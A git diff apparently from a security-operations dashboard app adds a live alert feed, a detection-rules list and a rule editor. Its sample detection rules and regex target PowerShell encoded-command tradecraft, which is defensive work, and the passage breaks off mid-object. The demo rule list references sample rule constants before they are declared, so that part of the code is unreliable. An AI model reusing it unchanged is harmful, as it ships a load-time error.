hover:bg-emerald-500/20"+ >+ {s}+ </button>+ ))}+ </div>+ )}+ </div>+ {m.role === 'user' && (+ <div className="flex h-8 w-8 flex-none items-center justify-center rounded-full bg-slate-700 text-xs font-semibold text-slate-200">+ You+ </div>+ )}+ </motion.li>+ ))}+ </AnimatePresence>+ {sending && (+ <li className="flex justify-start gap-3">+ <div className="flex h-8 w-8 flex-none items-center justify-center rounded-full bg-emerald-500/15 text-emerald-300">+ ⌬+ </div>+ <div className="rounded-2xl bg-slate-800/70 px-4 py-3 ring-1 ring-slate-700/60">+ <TypingDots />+ </div>+ </li>+ )}+ </ul>+ )}+ </div>++ {/* Composer */}+ <div className="border-t border-slate-800/80 p-3">+ <div className="mx-auto flex max-w-3xl items-end gap-2 rounded-xl border border-slate-700/70 bg-slate-950/40 p-2 focus-within:border-emerald-500/50">+ <textarea+ value={input}+ onChange={(e) => setInput(e.target.value)}+ onKeyDown={onKeyDown}+ rows={1}+ placeholder="Ask anything — try 'investigate WIN-FIN-DB01'…"+ className="flex-1 resize-none bg-transparent px-2 py-2 text-sm text-slate-100 placeholder-slate-500 outline-none"+ />+ <button+ onClick={() => void send(input)}+ disabled={!input.trim() || sending}+ className={clsx(+ 'flex-none rounded-lg px-3 py-2 text-sm font-semibold transition-colors',+ input.trim() && !sending+ ? 'bg-emerald-500 text-emerald-950 hover:bg-emerald-400'+ : 'bg-slate-800 text-slate-500',+ )}+ >+ {sending ? '…' : 'Send'}+ </button>+ </div>+ <p className="mx-auto mt-1.5 max-w-3xl px-1 text-[11px] text-slate-500">+ Press <kbd className="rounded bg-slate-800 px-1">Enter</kbd> to+ send,{' '}+ <kbd className="rounded bg-slate-800 px-1">Shift</kbd>++ <kbd className="rounded bg-slate-800 px-1">Enter</kbd> for newline.+ Responses can include actions you can run from inside the chat.+ </p>+ </div>+ </section>+ </div>+ );+}++function TypingDots() {+ return (+ <span className="inline-flex items-center gap-1" aria-label="Assistant is typing">+ {[0, 1, 2].map((i) => (+ <motion.span+ key={i}+ className="block h-1.5 w-1.5 rounded-full bg-slate-400"+ animate={{ opacity: [0.2, 1, 0.2] }}+ transition={{ duration: 1.1, repeat: Infinity, delay: i * 0.18 }}+ />+ ))}+ </span>+ );+}diff --git a/apps/web/src/components/dashboard/DashboardView.tsx b/apps/web/src/components/dashboard/DashboardView.tsxindex aba0a0813..43f394d77 100644--- a/apps/web/src/components/dashboard/DashboardView.tsx+++ b/apps/web/src/components/dashboard/DashboardView.tsx@@ -8,6 +8,7 @@ import {XAxis, YAxis, CartesianGrid, Tooltip, ResponsiveContainer} from 'recharts';import { format } from 'date-fns';+import { LiveFeedPanel } from './LiveFeedPanel';// ─── Mock Data ────────────────────────────────────────────────────────────────@@ -28,11 +29,11 @@ const MOCK_METRICS: DashboardMetrics = {resolvedThisWeek: 34,},sources: [- { name: 'CrowdStrike', count: 412, status: 'active' },- { name: 'Splunk', count: 287, status: 'active' },- { name: 'AWS Security Hub', count: 198, status: 'active' },- { name: 'Microsoft Sentinel', count: 243, status: 'active' },- { name: 'Okta', count: 107, status: 'active' },+ { name: 'Endpoint Telemetry', count: 412, status: 'active' },+ { name: 'SIEM Events', count: 287, status: 'active' },+ { name: 'Cloud Audit', count: 198, status: 'active' },+ { name: 'Network Sensors', count: 243, status: 'active' },+ { name: 'Identity Provider', count: 107, status: 'active' },],topMitre: [{ tactic: 'Execution', count: 89 },@@ -48,11 +49,11 @@ const MOCK_METRICS: DashboardMetrics = {severity: 'all',})),threatsBySource: [- { source: 'CrowdStrike', count: 412 },- { source: 'Splunk', count: 287 },- { source: 'AWS', count: 198 },- { source: 'Sentinel', count: 243 },- { source: 'Okta', count: 107 },+ { source: 'Endpoint Telemetry', count: 412 },+ { source: 'SIEM Events', count: 287 },+ { source: 'Cloud Audit', count: 198 },+ { source: 'Network Sensors', count: 243 },+ { source: 'Identity Provider', count: 107 },],};@@ -119,24 +120,6 @@ function CustomTooltip({ active, payload, label }: any) {);}-// ─── Live Feed ────────────────────────────────────────────────────────────────--const LIVE_EVENTS = [- { id: 1, severity: 'critical', text: 'Ransomware indicators detected on DESKTOP-7892', time: '2s ago', source: 'CrowdStrike' },- { id: 2, severity: 'high', text: 'Suspicious login from unexpected geo: RU → admin account', time: '14s ago', source: 'Okta' },- { id: 3, severity: 'high', text: 'Port scan detected from 192.168.1.45', time: '31s ago', source: 'Splunk' },- { id: 4, severity: 'medium', text: 'Failed MFA attempts: 8 in 2 minutes', time: '1m ago', source: 'Okta' },- { id: 5, severity: 'medium', text: 'S3 bucket policy changed to public', time: '2m ago', source: 'AWS' },- { id: 6, severity: 'low', text: 'New admin user created outside business hours', time: '3m ago', source: 'Sentinel' },-];--const SEVERITY_COLORS: Record<string, string> = {- critical: 'text-red-400 bg-red-500/10',- high: 'text-orange-400 bg-orange-500/10',- medium: 'text-yellow-400 bg-yellow-500/10',- low: 'text-blue-400 bg-blue-500/10',-};-// ─── Main Dashboard ───────────────────────────────────────────────────────────export function DashboardView() {@@ -303,32 +286,8 @@ export function DashboardView() {</div></div>- {/* Live Feed */}- <div className="bg-gray-900/60 border border-gray-800/60 rounded-xl p-5">- <div className="flex items-center justify-between mb-4">- <h3 className="text-sm font-medium text-gray-300">Live Feed</h3>- <span className="flex items-center gap-1 text-xs text-green-400">- <span className="w-1.5 h-1.5 bg-green-400 rounded-full animate-pulse" />- Live- </span>- </div>- <div className="space-y-2.5 overflow-y-auto max-h-52">- {LIVE_EVENTS.map((event) => (- <div key={event.id} className="flex items-start gap-2">- <span className={clsx(- 'text-xs px-1.5 py-0.5 rounded font-medium shrink-0 mt-0.5',- SEVERITY_COLORS[event.severity]- )}>- {event.severity.toUpperCase().slice(0, 4)}- </span>- <div className="min-w-0">- <p className="text-xs text-gray-300 leading-tight">{event.text}</p>- <p className="text-xs text-gray-600 mt-0.5">{event.source} · {event.time}</p>- </div>- </div>- ))}- </div>- </div>+ {/* Live Feed (realtime via WebSocket) */}+ <LiveFeedPanel /></div></div>);diff --git a/apps/web/src/components/dashboard/LiveFeedPanel.tsx b/apps/web/src/components/dashboard/LiveFeedPanel.tsxnew file mode 100644index 000000000..f7deed127--- /dev/null+++ b/apps/web/src/components/dashboard/LiveFeedPanel.tsx@@ -0,0 +1,271 @@+'use client';++/**+ * LiveFeedPanel+ *+ * Subscribes to the realtime `alerts` channel and renders the most recent+ * fused alerts as a live-streaming list. If the realtime service is not+ * reachable (common in dev when only the web app is running), the panel+ * gracefully falls back to a small set of demo events so the UI never+ * appears broken.+ *+ * The status pill reflects the actual WebSocket state:+ * - "Live" → connected and receiving+ * - "Reconnecting" → connecting / closing / closed (auto-retry)+ * - "Demo" → no real events received yet, showing seeded data+ */++import { useEffect, useMemo, useRef, useState } from 'react';+import clsx from 'clsx';+import { useRealtimeChannel, type RealtimeStatus } from '@/lib/realtime';++type Severity = 'critical' | 'high' | 'medium' | 'low' | 'info';++interface LiveEvent {+ id: string;+ severity: Severity;+ text: string;+ source: string;+ receivedAt: number; // epoch ms+ isDemo?: boolean;+}++/**+ * Loose shape of the message broadcast by `services/realtime`. The realtime+ * service forwards Kafka messages from `aisoc.alerts.fused` so the inner+ * `payload` may carry either the full envelope or the unwrapped alert.+ */+interface RealtimeAlertMessage {+ type?: string;+ timestamp?: string;+ payload?: {+ alert?: AlertLike;+ tenant_id?: string;+ severity?: string;+ title?: string;+ description?: string;+ source?: string;+ source_system?: string;+ } & AlertLike;+}++interface AlertLike {+ id?: string;+ severity?: string;+ title?: string;+ description?: string;+ source?: string;+ source_system?: string;+}++const SEVERITY_COLORS: Record<Severity, string> = {+ critical: 'bg-red-500/20 text-red-300 border border-red-500/30',+ high: 'bg-orange-500/20 text-orange-300 border border-orange-500/30',+ medium: 'bg-yellow-500/20 text-yellow-300 border border-yellow-500/30',+ low: 'bg-blue-500/20 text-blue-300 border border-blue-500/30',+ info: 'bg-gray-500/20 text-gray-300 border border-gray-500/30',+};++const DEMO_EVENTS: LiveEvent[] = [+ {+ id: 'demo-1',+ severity: 'critical',+ text: 'Ransomware indicators detected on DESKTOP-7892',+ source: 'EDR',+ receivedAt: Date.now() - 2_000,+ isDemo: true,+ },+ {+ id: 'demo-2',+ severity: 'high',+ text: 'Suspicious login from unexpected geo: RU → admin account',+ source: 'IdP',+ receivedAt: Date.now() - 14_000,+ isDemo: true,+ },+ {+ id: 'demo-3',+ severity: 'high',+ text: 'PowerShell encoded command executed by service account',+ source: 'EDR',+ receivedAt: Date.now() - 38_000,+ isDemo: true,+ },+ {+ id: 'demo-4',+ severity: 'medium',+ text: 'Unusual outbound traffic to known C2 infrastructure',+ source: 'Firewall',+ receivedAt: Date.now() - 62_000,+ isDemo: true,+ },+ {+ id: 'demo-5',+ severity: 'low',+ text: 'New service installed on production server WEB-PROD-12',+ source: 'OS Audit',+ receivedAt: Date.now() - 95_000,+ isDemo: true,+ },+];++const MAX_VISIBLE = 12;++function normalizeSeverity(value: unknown): Severity {+ const v = String(value ?? '').toLowerCase();+ if (v === 'critical' || v === 'high' || v === 'medium' || v === 'low' || v === 'info') {+ return v;+ }+ return 'info';+}++function relativeTime(receivedAt: number, now: number): string {+ const diff = Math.max(0, Math.floor((now - receivedAt) / 1000));+ if (diff < 1) return 'just now';+ if (diff < 60) return `${diff}s ago`;+ const minutes = Math.floor(diff / 60);+ if (minutes < 60) return `${minutes}m ago`;+ const hours = Math.floor(minutes / 60);+ if (hours < 24) return `${hours}h ago`;+ const days = Math.floor(hours / 24);+ return `${days}d ago`;+}++function statusToLabel(status: RealtimeStatus, hasReal: boolean): {+ label: string;+ tone: 'live' | 'reconnect' | 'demo';+} {+ if (status === 'open' && hasReal) return { label: 'Live', tone: 'live' };+ if (status === 'open') return { label: 'Demo', tone: 'demo' };+ if (status === 'connecting') return { label: 'Connecting…', tone: 'reconnect' };+ if (status === 'closing' || status === 'closed' || status === 'error') {+ return { label: hasReal ? 'Reconnecting…' : 'Demo', tone: hasReal ? 'reconnect' : 'demo' };+ }+ return { label: 'Demo', tone: 'demo' };+}++function eventFromMessage(msg: RealtimeAlertMessage, fallbackId: number): LiveEvent | null {+ if (!msg) return null;+ // The realtime service wraps payloads as { type: 'alert.fused', payload, timestamp }+ // but tests / older producers may send the alert directly.+ const payload = msg.payload ?? (msg as unknown as RealtimeAlertMessage['payload']);+ if (!payload) return null;++ const inner: AlertLike = (payload as { alert?: AlertLike }).alert ?? (payload as AlertLike);+ const title =+ inner.title ??+ inner.description ??+ (payload as { title?: string }).title ??+ (payload as { description?: string }).description ??+ 'Security event received';+ const source =+ inner.source ??+ inner.source_system ??+ (payload as { source?: string }).source ??+ (payload as { source_system?: string }).source_system ??+ 'AiSOC';++ const tsRaw = msg.timestamp ? Date.parse(msg.timestamp) : Date.now();+ const receivedAt = Number.isFinite(tsRaw) ? tsRaw : Date.now();++ return {+ id: inner.id ?? `live-${receivedAt}-${fallbackId}`,+ severity: normalizeSeverity(inner.severity ?? (payload as { severity?: string }).severity),+ text: title,+ source,+ receivedAt,+ };+}++export function LiveFeedPanel() {+ const { last, status } = useRealtimeChannel<RealtimeAlertMessage>('alerts');++ const [events, setEvents] = useState<LiveEvent[]>([]);+ const [now, setNow] = useState(() => Date.now());+ const counterRef = useRef(0);++ // Append new realtime events to the top of the list, dedup by id.+ useEffect(() => {+ if (!last) return;+ counterRef.current += 1;+ const next = eventFromMessage(last, counterRef.current);+ if (!next) return;+ setEvents((prev) => {+ if (prev.some((e) => e.id === next.id)) return prev;+ return [next, ...prev].slice(0, MAX_VISIBLE);+ });+ }, [last]);++ // Tick the clock every second so relative timestamps stay current.+ useEffect(() => {+ const id = window.setInterval(() => setNow(Date.now()), 1_000);+ return () => window.clearInterval(id);+ }, []);++ const hasReal = events.length > 0;+ const visible = useMemo<LiveEvent[]>(() => {+ if (hasReal) return events;+ // Refresh demo timestamps so they don't drift to "5h ago" while the dev+ // sits on the page with no realtime backend running.+ return DEMO_EVENTS.map((e, i) => ({+ ...e,+ receivedAt: now - (i + 1) * 8_000,+ }));+ }, [events, hasReal, now]);++ const pill = statusToLabel(status, hasReal);++ return (+ <div className="bg-[#111620] border border-gray-800/60 rounded-lg p-4">+ <div className="flex items-center justify-between mb-3">+ <h3 className="text-sm font-medium text-gray-200 flex items-center gap-2">+ <span+ className={clsx(+ 'w-2 h-2 rounded-full',+ pill.tone === 'live' && 'bg-emerald-400 animate-pulse',+ pill.tone === 'reconnect' && 'bg-amber-400 animate-pulse',+ pill.tone === 'demo' && 'bg-gray-500',+ )}+ />+ Live Feed+ </h3>+ <span+ className={clsx(+ 'text-[10px] uppercase tracking-wide px-2 py-0.5 rounded-full border',+ pill.tone === 'live' && 'bg-emerald-500/10 text-emerald-300 border-emerald-500/30',+ pill.tone === 'reconnect' && 'bg-amber-500/10 text-amber-300 border-amber-500/30',+ pill.tone === 'demo' && 'bg-gray-500/10 text-gray-400 border-gray-700',+ )}+ title={+ pill.tone === 'demo'+ ? 'Realtime service unreachable or no events received yet — showing demo data'+ : `WebSocket: ${status}`+ }+ >+ {pill.label}+ </span>+ </div>++ <div className="space-y-2.5 overflow-y-auto max-h-52 pr-1">+ {visible.map((event) => (+ <div key={event.id} className="flex items-start gap-2">+ <span+ className={clsx(+ 'text-xs px-1.5 py-0.5 rounded font-medium shrink-0 mt-0.5',+ SEVERITY_COLORS[event.severity],+ )}+ >+ {event.severity.toUpperCase().slice(0, 4)}+ </span>+ <div className="min-w-0 flex-1">+ <p className="text-xs text-gray-300 leading-tight truncate">{event.text}</p>+ <p className="text-[11px] text-gray-600 mt-0.5">+ {event.source} · {relativeTime(event.receivedAt, now)}+ </p>+ </div>+ </div>+ ))}+ </div>+ </div>+ );+}diff --git a/apps/web/src/components/detections/DetectionsView.tsx b/apps/web/src/components/detections/DetectionsView.tsxnew file mode 100644index 000000000..4c5fda68c--- /dev/null+++ b/apps/web/src/components/detections/DetectionsView.tsx@@ -0,0 +1,500 @@+'use client';++import { useMemo, useState } from 'react';+import Link from 'next/link';+import useSWR from 'swr';+import { clsx } from 'clsx';+import { formatDistanceToNow } from 'date-fns';+import toast from 'react-hot-toast';+import {+ detectionApi,+ type DetectionLanguage,+ type DetectionRule,+} from '@/lib/api';+import { Skeleton } from '@/components/ui/Skeleton';+import { ErrorState } from '@/components/ui/ErrorState';+import { EmptyState } from '@/components/ui/EmptyState';++// ─── Demo fallback ────────────────────────────────────────────────────────────++const NOW = Date.now();+const ago = (mins: number) => new Date(NOW - mins * 60 * 1000).toISOString();++const DEMO_RULES: DetectionRule[] = [+ {+ id: 'rule-001',+ name: 'Suspicious PowerShell Encoded Command',+ description:+ 'Flags powershell.exe spawning with -EncodedCommand, a common LOLBin tradecraft used to evade content filters.',+ language: 'sigma',+ body: SAMPLE_SIGMA,+ enabled: true,+ severity: 'high',+ tags: ['windows', 'lolbin', 'powershell'],+ mitre: ['T1059.001', 'T1027'],+ createdAt: ago(60 * 24 * 14),+ updatedAt: ago(60 * 6),+ lastTriggeredAt: ago(38),+ hitCount: 42,+ },+ {+ id: 'rule-002',+ name: 'Impossible Travel — Same User',+ description:+ 'Detects identity sign-ins from two geographies within a window that is physically impossible to traverse.',+ language: 'kql',+ body: SAMPLE_KQL,+ enabled: true,+ severity: 'medium',+ tags: ['identity', 'authn'],+ mitre: ['T1078'],+ createdAt: ago(60 * 24 * 30),+ updatedAt: ago(60 * 24 * 2),+ lastTriggeredAt: ago(60 * 7),+ hitCount: 12,+ },+ {+ id: 'rule-003',+ name: 'AWS GuardDuty High-Severity Finding',+ description:+ 'Forwards GuardDuty findings of severity 7+ into AiSOC as alerts and links them to the affected resource.',+ language: 'eql',+ body: SAMPLE_EQL,+ enabled: false,+ severity: 'critical',+ tags: ['aws', 'cloud'],+ mitre: ['T1078.004', 'T1110'],+ createdAt: ago(60 * 24 * 5),+ updatedAt: ago(60 * 24 * 1),+ hitCount: 0,+ },+];++const LANG_LABEL: Record<DetectionLanguage, string> = {+ sigma: 'Sigma',+ yara: 'YARA',+ kql: 'KQL',+ eql: 'EQL',+ lucene: 'Lucene',+ regex: 'Regex',+};++const LANG_BADGE: Record<DetectionLanguage, string> = {+ sigma: 'bg-blue-500/10 text-blue-300 ring-blue-500/30',+ yara: 'bg-purple-500/10 text-purple-300 ring-purple-500/30',+ kql: 'bg-emerald-500/10 text-emerald-300 ring-emerald-500/30',+ eql: 'bg-amber-500/10 text-amber-300 ring-amber-500/30',+ lucene: 'bg-cyan-500/10 text-cyan-300 ring-cyan-500/30',+ regex: 'bg-pink-500/10 text-pink-300 ring-pink-500/30',+};++const SEVERITY_BADGE: Record<string, string> = {+ critical: 'bg-red-500/10 text-red-300 ring-red-500/40',+ high: 'bg-orange-500/10 text-orange-300 ring-orange-500/40',+ medium: 'bg-yellow-500/10 text-yellow-300 ring-yellow-500/40',+ low: 'bg-blue-500/10 text-blue-300 ring-blue-500/40',+};++// ─── Component ────────────────────────────────────────────────────────────────++export function DetectionsView() {+ const { data, error, isLoading, mutate } = useSWR(+ 'detection:rules',+ () => detectionApi.list(),+ { revalidateOnFocus: false, shouldRetryOnError: false },+ );++ const useFallback = !!error;+ const rules = data?.rules ?? (useFallback ? DEMO_RULES : []);++ const [search, setSearch] = useState('');+ const [language, setLanguage] = useState<DetectionLanguage | 'all'>('all');+ const [enabledFilter, setEnabledFilter] = useState<'all' | 'on' | 'off'>(+ 'all',+ );++ const filtered = useMemo(() => {+ const q = search.trim().toLowerCase();+ return rules.filter((r) => {+ if (language !== 'all' && r.language !== language) return false;+ if (enabledFilter === 'on' && !r.enabled) return false;+ if (enabledFilter === 'off' && r.enabled) return false;+ if (!q) return true;+ const hay = [+ r.name,+ r.description ?? '',+ ...(r.tags ?? []),+ ...(r.mitre ?? []),+ ]+ .join(' ')+ .toLowerCase();+ return hay.includes(q);+ });+ }, [rules, search, language, enabledFilter]);++ const toggleEnabled = async (rule: DetectionRule) => {+ const next = !rule.enabled;+ // Optimistic+ mutate(+ (curr) =>+ curr+ ? {+ ...curr,+ rules: curr.rules.map((r) =>+ r.id === rule.id ? { ...r, enabled: next } : r,+ ),+ }+ : curr,+ { revalidate: false },+ );++ try {+ if (!useFallback) {+ await detectionApi.update(rule.id, { enabled: next });+ }+ toast.success(next ? 'Rule enabled' : 'Rule disabled');+ mutate();+ } catch (err) {+ console.warn('Toggle failed', err);+ toast.error('Could not update rule');+ mutate(); // Re-fetch to revert+ }+ };++ // ─── Render ────────────────────────────────────────────────────────────────++ return (+ <div className="space-y-5">+ {/* Header */}+ <div className="flex flex-col gap-3 lg:flex-row lg:items-end lg:justify-between">+ <div>+ <h1 className="text-2xl font-semibold text-gray-100">+ Detection rules+ </h1>+ <p className="mt-1 max-w-2xl text-sm text-gray-500">+ Author, test, and operate detection logic across log sources. Rules+ run continuously against ingested telemetry and emit alerts when+ triggered.+ </p>+ </div>+ <Link+ href="/detection/new"+ className="inline-flex items-center justify-center gap-2 rounded-md bg-blue-500 px-4 py-2 text-sm font-medium text-white shadow-sm transition-colors hover:bg-blue-600"+ >+ <svg+ className="h-4 w-4"+ viewBox="0 0 24 24"+ fill="none"+ stroke="currentColor"+ strokeWidth={2}+ >+ <path d="M12 5v14M5 12h14" strokeLinecap="round" />+ </svg>+ New rule+ </Link>+ </div>++ {/* Demo banner */}+ {useFallback && (+ <div className="rounded-md border border-amber-500/30 bg-amber-500/5 px-4 py-2 text-xs text-amber-200">+ Detection API unreachable — showing curated demo rules so you can+ explore the workflow.+ </div>+ )}++ {/* Filters */}+ <div className="flex flex-col gap-3 rounded-lg border border-gray-800 bg-gray-900/40 p-3 lg:flex-row lg:items-center">+ <div className="relative flex-1">+ <input+ value={search}+ onChange={(e) => setSearch(e.target.value)}+ placeholder="Search by name, tag, or technique (T1059, lolbin, identity)…"+ className="w-full rounded-md border border-gray-800 bg-gray-950 px-9 py-2 text-sm text-gray-200 placeholder-gray-600 outline-none transition-colors focus:border-blue-500/60 focus:ring-1 focus:ring-blue-500/40"+ />+ <svg+ className="absolute left-3 top-1/2 h-4 w-4 -translate-y-1/2 text-gray-500"+ viewBox="0 0 24 24"+ fill="none"+ stroke="currentColor"+ strokeWidth={2}+ >+ <circle cx="11" cy="11" r="7" />+ <path d="m20 20-3.5-3.5" strokeLinecap="round" />+ </svg>+ </div>++ <select+ value={language}+ onChange={(e) =>+ setLanguage(e.target.value as DetectionLanguage | 'all')+ }+ className="rounded-md border border-gray-800 bg-gray-950 px-3 py-2 text-sm text-gray-300 outline-none focus:border-blue-500/60"+ >+ <option value="all">All languages</option>+ <option value="sigma">Sigma</option>+ <option value="yara">YARA</option>+ <option value="kql">KQL</option>+ <option value="eql">EQL</option>+ <option value="lucene">Lucene</option>+ <option value="regex">Regex</option>+ </select>++ <div className="inline-flex rounded-md border border-gray-800 bg-gray-950 p-0.5 text-xs">+ {(['all', 'on', 'off'] as const).map((opt) => (+ <button+ key={opt}+ onClick={() => setEnabledFilter(opt)}+ className={clsx(+ 'rounded px-3 py-1.5 transition-colors',+ enabledFilter === opt+ ? 'bg-gray-800 text-gray-100'+ : 'text-gray-400 hover:text-gray-200',+ )}+ >+ {opt === 'all' ? 'All' : opt === 'on' ? 'Enabled' : 'Disabled'}+ </button>+ ))}+ </div>+ </div>++ {/* Body */}+ {isLoading ? (+ <div className="space-y-3">+ {[0, 1, 2].map((i) => (+ <Skeleton key={i} className="h-24 w-full" />+ ))}+ </div>+ ) : filtered.length === 0 ? (+ rules.length === 0 ? (+ <EmptyState+ title="No detection rules yet"+ description="Author your first detection in Sigma, KQL, or EQL — or import the AiSOC starter pack to bootstrap coverage across the MITRE ATT&CK matrix."+ action={+ <div className="flex gap-2">+ <Link+ href="/detection/new"+ className="rounded-md bg-blue-500 px-4 py-2 text-sm font-medium text-white hover:bg-blue-600"+ >+ Create a rule+ </Link>+ <button+ onClick={() =>+ toast('Starter pack import is coming soon', { icon: '📦' })+ }+ className="rounded-md border border-gray-700 px-4 py-2 text-sm text-gray-300 hover:bg-gray-800"+ >+ Import starter pack+ </button>+ </div>+ }+ />+ ) : (+ <EmptyState+ title="No rules match your filters"+ description="Try clearing the search, switching language, or showing all enabled states."+ action={+ <button+ onClick={() => {+ setSearch('');+ setLanguage('all');+ setEnabledFilter('all');+ }}+ className="rounded-md border border-gray-700 px-4 py-2 text-sm text-gray-300 hover:bg-gray-800"+ >+ Clear filters+ </button>+ }+ />+ )+ ) : (+ <ul className="space-y-3">+ {filtered.map((rule) => (+ <li key={rule.id}>+ <RuleCard rule={rule} onToggle={() => toggleEnabled(rule)} />+ </li>+ ))}+ </ul>+ )}++ {/* Footer / errors */}+ {error && !useFallback && (+ <ErrorState+ title="Couldn't load detection rules"+ description="The detection service didn't respond. We've shown the local demo set instead."+ error={error}+ onRetry={() => mutate()}+ />+ )}+ </div>+ );+}++// ─── Sub-components ───────────────────────────────────────────────────────────++interface RuleCardProps {+ rule: DetectionRule;+ onToggle: () => void;+}++function RuleCard({ rule, onToggle }: RuleCardProps) {+ return (+ <Link+ href={`/detection/${rule.id}`}+ className="group block rounded-lg border border-gray-800 bg-gray-900/40 p-4 transition-colors hover:border-gray-700 hover:bg-gray-900/70"+ >+ <div className="flex items-start gap-4">+ {/* Status dot */}+ <div className="mt-1 flex flex-col items-center gap-2">+ <span+ className={clsx(+ 'inline-flex h-2.5 w-2.5 rounded-full',+ rule.enabled+ ? 'bg-emerald-400 shadow-[0_0_0_3px_rgba(52,211,153,0.18)]'+ : 'bg-gray-600',+ )}+ />+ </div>++ {/* Body */}+ <div className="flex-1 min-w-0">+ <div className="flex items-center gap-2">+ <h3 className="truncate text-sm font-semibold text-gray-100 group-hover:text-blue-300">+ {rule.name}+ </h3>+ <span+ className={clsx(+ 'rounded-md px-1.5 py-0.5 text-[10px] font-medium uppercase tracking-wide ring-1',+ LANG_BADGE[rule.language],+ )}+ >+ {LANG_LABEL[rule.language]}+ </span>+ {rule.severity && (+ <span+ className={clsx(+ 'rounded-md px-1.5 py-0.5 text-[10px] font-medium uppercase tracking-wide ring-1',+ SEVERITY_BADGE[rule.severity] ?? 'bg-gray-800 text-gray-300',+ )}+ >+ {rule.severity}+ </span>+ )}+ </div>++ {rule.description && (+ <p className="mt-1 text-sm text-gray-400 line-clamp-2">+ {rule.description}+ </p>+ )}++ <div className="mt-3 flex flex-wrap items-center gap-2 text-xs text-gray-500">+ {rule.mitre?.slice(0, 4).map((id) => (+ <span+ key={id}+ className="rounded-md bg-gray-800/60 px-1.5 py-0.5 font-mono text-[11px] text-gray-300"+ >+ {id}+ </span>+ ))}+ {rule.tags?.slice(0, 5).map((tag) => (+ <span+ key={tag}+ className="rounded-full bg-gray-800/40 px-2 py-0.5 text-[11px] text-gray-400"+ >+ #{tag}+ </span>+ ))}+ </div>+ </div>++ {/* Right meta + toggle */}+ <div className="flex flex-col items-end gap-2">+ <div className="text-right text-xs text-gray-500">+ <div>+ <span className="font-mono text-gray-300">+ {rule.hitCount ?? 0}+ </span>{' '}+ hits+ </div>+ <div className="mt-0.5">+ {rule.lastTriggeredAt+ ? `last fired ${formatDistanceToNow(new Date(rule.lastTriggeredAt), { addSuffix: true })}`+ : 'no recent hits'}+ </div>+ </div>+ <Toggle enabled={rule.enabled} onChange={onToggle} />+ </div>+ </div>+ </Link>+ );+}++interface ToggleProps {+ enabled: boolean;+ onChange: () => void;+}++function Toggle({ enabled, onChange }: ToggleProps) {+ return (+ <button+ type="button"+ onClick={(e) => {+ e.preventDefault();+ e.stopPropagation();+ onChange();+ }}+ role="switch"+ aria-checked={enabled}+ className={clsx(+ 'relative inline-flex h-5 w-9 items-center rounded-full transition-colors',+ enabled ? 'bg-emerald-500/70' : 'bg-gray-700',+ )}+ >+ <span+ className={clsx(+ 'inline-block h-4 w-4 transform rounded-full bg-white shadow-sm transition-transform',+ enabled ? 'translate-x-4' : 'translate-x-0.5',+ )}+ />+ </button>+ );+}++// ─── Sample bodies ────────────────────────────────────────────────────────────++const SAMPLE_SIGMA = `title: Suspicious PowerShell Encoded Command+id: aisoc-rule-001+status: experimental+description: Flags powershell.exe spawning with -EncodedCommand+logsource:+ product: windows+ category: process_creation+detection:+ selection:+ Image|endswith: '\\powershell.exe'+ CommandLine|contains: '-EncodedCommand'+ condition: selection+level: high+tags:+ - attack.execution+ - attack.t1059.001+`;++const SAMPLE_KQL = `// Impossible travel+SigninLogs+| where ResultType == 0+| extend lat = todouble(LocationDetails.geoCoordinates.latitude),+ lon = todouble(LocationDetails.geoCoordinates.longitude)+| order by UserPrincipalName, TimeGenerated asc+| serialize+| extend prevLat = prev(lat), prevLon = prev(lon), prevTime = prev(TimeGenerated)+| where (datetime_diff('minute', TimeGenerated, prevTime)) between (1 .. 240)+| extend km = geo_distance_2points(prevLon, prevLat, lon, lat) / 1000+| where km / (datetime_diff('minute', TimeGenerated, prevTime) / 60.0) > 900+| project TimeGenerated, UserPrincipalName, km, IPAddress+`;++const SAMPLE_EQL = `sequence by aws.account.id with maxspan=1h+ [iam where event.action == "CreateAccessKey"]+ [aws where event.module == "guardduty" and event.severity >= 7]+`;diff --git a/apps/web/src/components/detections/RuleEditor.tsx b/apps/web/src/components/detections/RuleEditor.tsxnew file mode 100644index 000000000..6f64e9f0f--- /dev/null+++ b/apps/web/src/components/detections/RuleEditor.tsx@@ -0,0 +1,794 @@+'use client';++import { useEffect, useMemo, useState } from 'react';+import { useRouter } from 'next/navigation';+import Link from 'next/link';+import dynamic from 'next/dynamic';+import useSWR from 'swr';+import { clsx } from 'clsx';+import toast from 'react-hot-toast';+import {+ detectionApi,+ type DetectionLanguage,+ type DetectionRule,+ type HuntResult,+} from '@/lib/api';+import type { AlertSeverity } from '@/lib/api';+import { Skeleton } from '@/components/ui/Skeleton';+import { ErrorState } from '@/components/ui/ErrorState';++const MonacoEditor = dynamic(() => import('@monaco-editor/react'), {+ ssr: false,+ loading: () => <Skeleton className="h-full w-full" />,+});++// ─── Constants ────────────────────────────────────────────────────────────────++const LANGS: { id: DetectionLanguage; label: string; monaco: string }[] = [+ { id: 'sigma', label: 'Sigma', monaco: 'yaml' },+ { id: 'yara', label: 'YARA', monaco: 'plaintext' },+ { id: 'kql', label: 'KQL', monaco: 'sql' },+ { id: 'eql', label: 'EQL', monaco: 'sql' },+ { id: 'lucene', label: 'Lucene', monaco: 'plaintext' },+ { id: 'regex', label: 'Regex', monaco: 'plaintext' },+];++const SEVERITIES: AlertSeverity[] = ['low', 'medium', 'high', 'critical'];++const SAMPLE_BODIES: Record<DetectionLanguage, string> = {+ sigma: `title: My new detection+id: aisoc-rule-new+status: experimental+description: Describe what this rule catches+logsource:+ product: windows+ category: process_creation+detection:+ selection:+ Image|endswith: '\\powershell.exe'+ CommandLine|contains: '-EncodedCommand'+ condition: selection+level: medium+tags:+ - attack.execution+`,+ yara: `rule MySuspiciousBinary+{+ meta:+ author = "AiSOC"+ description = "Detects an embedded marker"+ strings:+ $a = "evil_marker"+ condition:+ $a+}+`,+ kql: `// Author your KQL here+SecurityEvent+| where EventID == 4625+| summarize FailedLogons = count() by Account, IpAddress, bin(TimeGenerated, 5m)+| where FailedLogons > 5+`,+ eql: `process where process.name == "powershell.exe" and+ process.command_line : "*EncodedCommand*"+`,+ lucene: `event.category:"process" AND process.name:"powershell.exe" AND process.command_line:*EncodedCommand*`,+ regex: `(?i)powershell\\.exe.*-encodedcommand\\s+[A-Za-z0-9+/=]{40,}`,+};++const SAMPLE_EVENT = JSON.stringify(+ {+ '@timestamp': new Date().toISOString(),+ host: { name: 'WIN-DC-01', os: { family: 'windows' } },+ process: {+ name: 'powershell.exe',+ command_line:+ 'powershell.exe -NoProfile -EncodedCommand JABzAD0AJwBoAGUAbABsAG8AJwA=',+ pid: 4321,+ },+ user: { name: 